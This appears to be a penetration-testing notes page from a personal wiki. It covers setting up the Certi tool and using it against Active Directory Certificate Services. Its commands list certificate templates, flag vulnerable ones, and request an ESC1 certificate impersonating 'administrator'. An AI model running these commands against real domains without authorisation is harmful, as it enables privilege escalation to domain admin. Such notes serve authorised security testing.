> For the complete documentation index, see [llms.txt](https://notes.brinkles.wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.brinkles.wiki/tools/internal-tools/certi.md).

# Certi

{% embed url="<https://github.com/zer1t0/certi>" %}

## Setup

* [ ] git clone <https://github.com/zer1t0/certi>
* [ ] cd certi
* [ ] python3 -m venv venv
* [ ] -venv/bin/activate
* [ ] pip3 install -r requirements.txt

## Listing all Certificate Templates

\-- python3 certi.py list domain.local/user:pass

## Listing all Vulnerable Certificate Templates

\-- python3 certi.py list domain.local/user:pass -vuln

## Enrolling in a Certificate Template Vulnerable to ESC1

\-- python3 certi.py req domain.local/user\@ca.domain.local \<CA Service Name> -k -n -alt-name administrator -template \<vulnerable template>&#x20;